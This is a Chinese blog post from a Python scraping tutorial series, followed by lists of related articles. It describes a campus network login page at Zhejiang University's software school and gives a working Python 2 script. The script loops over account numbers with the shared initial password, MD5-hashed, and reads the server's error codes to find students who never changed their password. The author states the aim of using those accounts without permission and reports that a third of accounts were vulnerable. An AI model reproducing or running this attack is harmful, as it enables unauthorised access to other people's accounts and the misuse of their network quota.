Python爬虫学习(7):浙大软院网号嗅探
软院这边网速是挺不错的,而且在宿舍和实验室都是可以通过学号直接登陆的上网的,但是..有的时候实验室的台式机需要一个网号,笔记本需要一个网号,或者再加上一个路由器需要一个,然后,感觉网号托托的不够呀。刚开学分配网号的时候,每个人的密码都初始为同一个,嘿嘿。。。有些人其实懒得去改,或者是去了遥远的杭州,然后,这些网号可能闲置了,嘿嘿。所以这一次的目的就是嗅探这些没有更改过网号密码的网号,然后,你懂得。但是作为一个四好青年,我不会狠到去更改他们的密码,只是在他们没有上网的时候借用他们的网号,当他们要上网的时候其实可以通过强退让我下线,然后他们自己可以用。
1. 分析网络认证界面:
其地址为: http://192.0.0.6/

从下边的代码中我们可以发现,在处理登陆部分代码中使用了md5算法加密密码,其登陆需要的验证网址,所需要的参数:

我们还可以通过浏览器帮助我们查看登陆的详情。用户名和密码点击登陆后,验证登陆信息的地址是: http://192.0.0.6/cgi-bin/do_login

再查看以下登陆需要的参数,其中我输入的用户名和密码都是123456,很明显可以看出密码加密过了。

加密了没关系,尝试了几次发现,虽然加密了,但是却用的静态的MD5加密,嘿嘿。。。,只要密码一样,每次加密的结果就会一样(-_-)。而我们这次仅仅是用初始密码来验证以下谁没有更改密码,所以我们用正确的密码尝试登陆一次,就可以获取它加密后的值应该是多少了,然后用这个值作为密码去模拟登陆,肯定是OK的啦。或者是直接去调用python 中的 hashlib 中的md5加密函数。
下来我们看一下POST数据的时候还有什么处理,其代码如下图。其中XMLHttpRequest 对象是名为 AJAX 的 关键功能,用于异步请求。这里设置了Content-Type,所以这项在模拟登陆的需要设置。

看看请求的时候具体都发送了什么请求头,这里我们为了避免出错,这模拟登陆的时候最好将User-Agent用户代理信息加上。

我们接着来看一下登陆之后的逻辑,成功之后代码如下图所示。如果登陆成功并返回一串数字的时候,就根据是否记住密码选项决定是否写Cookie。

如果失败了就根据返回内容做决定:
2. 模拟登陆:
根据上述的描述,我们尝试登陆以下:
#!/usr/bin/python
#! -*- coding:utf-8 -*- import urllib
import urllib2
import re
import os class Sniffer:
def __init__(self):
self.login_url = "http://192.0.0.6/cgi-bin/do_login"
self.headers = {}
self.headers["User-Agent"]="Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
self.headers["Content-Type"] = "application/x-www-form-urlencoded"
def test(self):
username=""
password=""
drop=""
# 直接从原始页面的代码中复制过来的
data="username="+username+"&password="+password+"&drop="+drop+"&type=1&n=100"
req = urllib2.Request(self.login_url,data=data,headers=self.headers)
res = urllib2.urlopen(req)
print res.read()
sniffer = Sniffer()
sniffer.test()
上述运行结果为: username_error,用户错误。我们看一下总共有哪些返回信息:
case "user_tab_error":
alert("认证程序未启动");
break;
case "username_error":
alert("用户名错误");
break;
case "non_auth_error":
alert("您无须认证,可直接上网");
break;
case "password_error":
alert("密码错误");break;
case "status_error":
alert("用户已欠费,请尽快充值。");
break;
case "available_error":
alert("用户已禁用");
break;
case "ip_exist_error":
alert("您的IP尚未下线,请等待2分钟再试。");
break;
case "usernum_error":
alert("用户数已达上限");
break;
case "online_num_error":
alert("该帐号的登录人数已超过限额\n如果怀疑帐号被盗用,请联系管理员。");
break;
case "mode_error":
alert("系统已禁止WEB方式登录,请使用客户端");
break;
case "time_policy_error":
alert("当前时段不允许连接");
break;
case "flux_error":
alert("您的流量已超支");
break;
case "minutes_error":
alert("您的时长已超支");
break;
case "ip_error":
alert("您的IP地址不合法");
break;
case "mac_error":
alert("您的MAC地址不合法");
break;
case "sync_error":
alert("您的资料已修改,正在等待同步,请2分钟后再试。");
break;
default:
alert("找不到认证服务器");
break;
其中当返回为online_num_error,ip_exist_error,以及一串数字的时候(也就是登陆成功)的时候就表明用户名和密码是正确的(-_-),是的...就是这么简单。
我们将username设置为网号范围的网号,遍历访问,而password就是初始密码经过md5加密过的密码,获取这个加密过的密码可以通过进入浏览器的查看界面(火狐是F12),然后输入初始密码,提交之后可以在,在参数一项中看到:

下来我们就通过遍历来获取没有改过密码的网号:
#!/usr/bin/python
# -*- coding:utf-8 -*- import urllib
import urllib2
import re
import os
import hashlib class Sniffer:
def __init__(self):
self.login_url = "http://192.0.0.6/cgi-bin/do_login"
self.headers = {}
self.headers["User-Agent"]="Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
self.headers["Content-Type"] = "application/x-www-form-urlencoded"
# 密码正确的可呢返回结果
self.right = ["ip_exist_error","online_num_error","usernum_error"]
# 登陆成功后返回的结果是一串数字
self.pattern = re.compile(r"^[\d]+$")
def access(self,username,password):
# 这个密码就是初始密码经过md3u加密过的
# 页面中只是获取了加密的从第8位置开始的16个的字符
password = self.get_md5(password)[8:24]
# 直接从原始页面的代码中复制过来的
data="username="+username+"&password="+password+"&drop=0"+"&type=1&n=100"
req = urllib2.Request(self.login_url,data=data,headers=self.headers)
res = urllib2.urlopen(req)
content = res.read()
mat = re.match(self.pattern,content)
# 登陆成功
if mat:
return True
# 其它密码正确的情况
if content in self.right:
return True
else:
return False # 获取信息的md5摘要信息
def get_md5(self,original):
m = hashlib.md5()
m.update(original)
return m.hexdigest() def trace(self,start,end):
result = []
# 这里设定初始密码
password = "*******"
for account in range(start,end):
print "sniff "+str(account)
if self.access(str(account),password):
print str(account)+" is avialable"
result.append(str(account))
return result sniffer = Sniffer()
# 传入开始帐号和结束帐号
start = input("the start account: ")
end = input("the end account: ")
print sniffer.trace(int(start),int(end))
执行上述脚本就会产生没有改过密码的帐号啦。
执行结果显示有三分之一的同学都没有改密码,这个比例相当的高呀。
Python爬虫学习(7):浙大软院网号嗅探的更多相关文章
- Python爬虫学习(8):浙大软院网络登陆保持
在浏览器的验证窗口中输入登陆名和密码后,成功后会弹出一个小的新窗口,如果不小心关闭了这个窗口,则就会无法联网.如果说我在一个不带有桌面的Linux系统中,我是不能够通过浏览器接入网络的,虽然提供了不同 ...
- python爬虫学习(1) —— 从urllib说起
0. 前言 如果你从来没有接触过爬虫,刚开始的时候可能会有些许吃力 因为我不会从头到尾把所有知识点都说一遍,很多文章主要是记录我自己写的一些爬虫 所以建议先学习一下cuiqingcai大神的 Pyth ...
- python爬虫学习 —— 总目录
开篇 作为一个C党,接触python之后学习了爬虫. 和AC算法题的快感类似,从网络上爬取各种数据也很有意思. 准备写一系列文章,整理一下学习历程,也给后来者提供一点便利. 我是目录 听说你叫爬虫 - ...
- Python爬虫学习:三、爬虫的基本操作流程
本文是博主原创随笔,转载时请注明出处Maple2cat|Python爬虫学习:三.爬虫的基本操作与流程 一般我们使用Python爬虫都是希望实现一套完整的功能,如下: 1.爬虫目标数据.信息: 2.将 ...
- Python爬虫学习:四、headers和data的获取
之前在学习爬虫时,偶尔会遇到一些问题是有些网站需要登录后才能爬取内容,有的网站会识别是否是由浏览器发出的请求. 一.headers的获取 就以博客园的首页为例:http://www.cnblogs.c ...
- Python爬虫学习:二、爬虫的初步尝试
我使用的编辑器是IDLE,版本为Python2.7.11,Windows平台. 本文是博主原创随笔,转载时请注明出处Maple2cat|Python爬虫学习:二.爬虫的初步尝试 1.尝试抓取指定网页 ...
- 《Python爬虫学习系列教程》学习笔记
http://cuiqingcai.com/1052.html 大家好哈,我呢最近在学习Python爬虫,感觉非常有意思,真的让生活可以方便很多.学习过程中我把一些学习的笔记总结下来,还记录了一些自己 ...
- python爬虫学习视频资料免费送,用起来非常666
当我们浏览网页的时候,经常会看到像下面这些好看的图片,你是否想把这些图片保存下载下来. 我们最常规的做法就是通过鼠标右键,选择另存为.但有些图片点击鼠标右键的时候并没有另存为选项,或者你可以通过截图工 ...
- python爬虫学习笔记(一)——环境配置(windows系统)
在进行python爬虫学习前,需要进行如下准备工作: python3+pip官方配置 1.Anaconda(推荐,包括python和相关库) [推荐地址:清华镜像] https://mirrors ...
随机推荐
- <section> 标签
最近正在学习html5,刚接触html5,感觉有点不适应,因为有一些标签改变了,特别是div, section article这三个标签,查了一些资料,也试着用html5和css3布局网页,稍微有点头 ...
- python smtp 群发邮件
最近工作中遇到使用脚本处理问题并发送结果邮件,使用python的smtp模块很简单的完成了实现.今天遇到一个问题,根据脚本的测试结果需要群发邮件,但是发送邮件的py文件只有首个地址收到了邮件.仔细排查 ...
- Java 中正确获取中文字符串长度
/** * 获取字符串的长度,如果有中文,则每个中文字符计为2位 * * @param value * 指定的字符串 * * @return 字符串的长度 */ public static int l ...
- Python 登录系统
---------------------------------------------------------------------------------------- 该程序主要实现了以下3 ...
- Spark 官方文档(4)——Configuration配置
Spark可以通过三种方式配置系统: 通过SparkConf对象, 或者Java系统属性配置Spark的应用参数 通过每个节点上的conf/spark-env.sh脚本为每台机器配置环境变量 通过lo ...
- localstorage 和 sessionstorage 本地存储
在我们日常的工作和实际项目中,做好数据数据缓存可以是我们的程序执行效率更高,可以使我们避免重复请求 服务器,减轻服务器的压力,可以提高使用户的体验度. 那么 HTML5 存储的目标是什么? 1.解决存 ...
- Ubuntu16.04安装Screenlets
通过添加软件源的方式安装装 sudo add-apt-repository ppa:screenlets/ppa sudo apt-get update sudo apt-get install sc ...
- sql查询删除重复数据
数据库UserInfo 删除重复数据 即删除重复的用户名手机号 同一个用户名手机号只保留一个用户 01.根据多个字段查询重复数据 with data1 as( select MobilePhone,N ...
- LeetCode 162 Find Peak Element
Problem: A peak element is an element that is greater than its neighbors. Given an input array where ...
- js中的斐波那契数列法
//斐波那契数列:1,2,3,5,8,13…… //从第3个起的第n个等于前两个之和 //解法1: var n1 = 1,n2 = 2; for(var i=3;i<101;i++){ var ...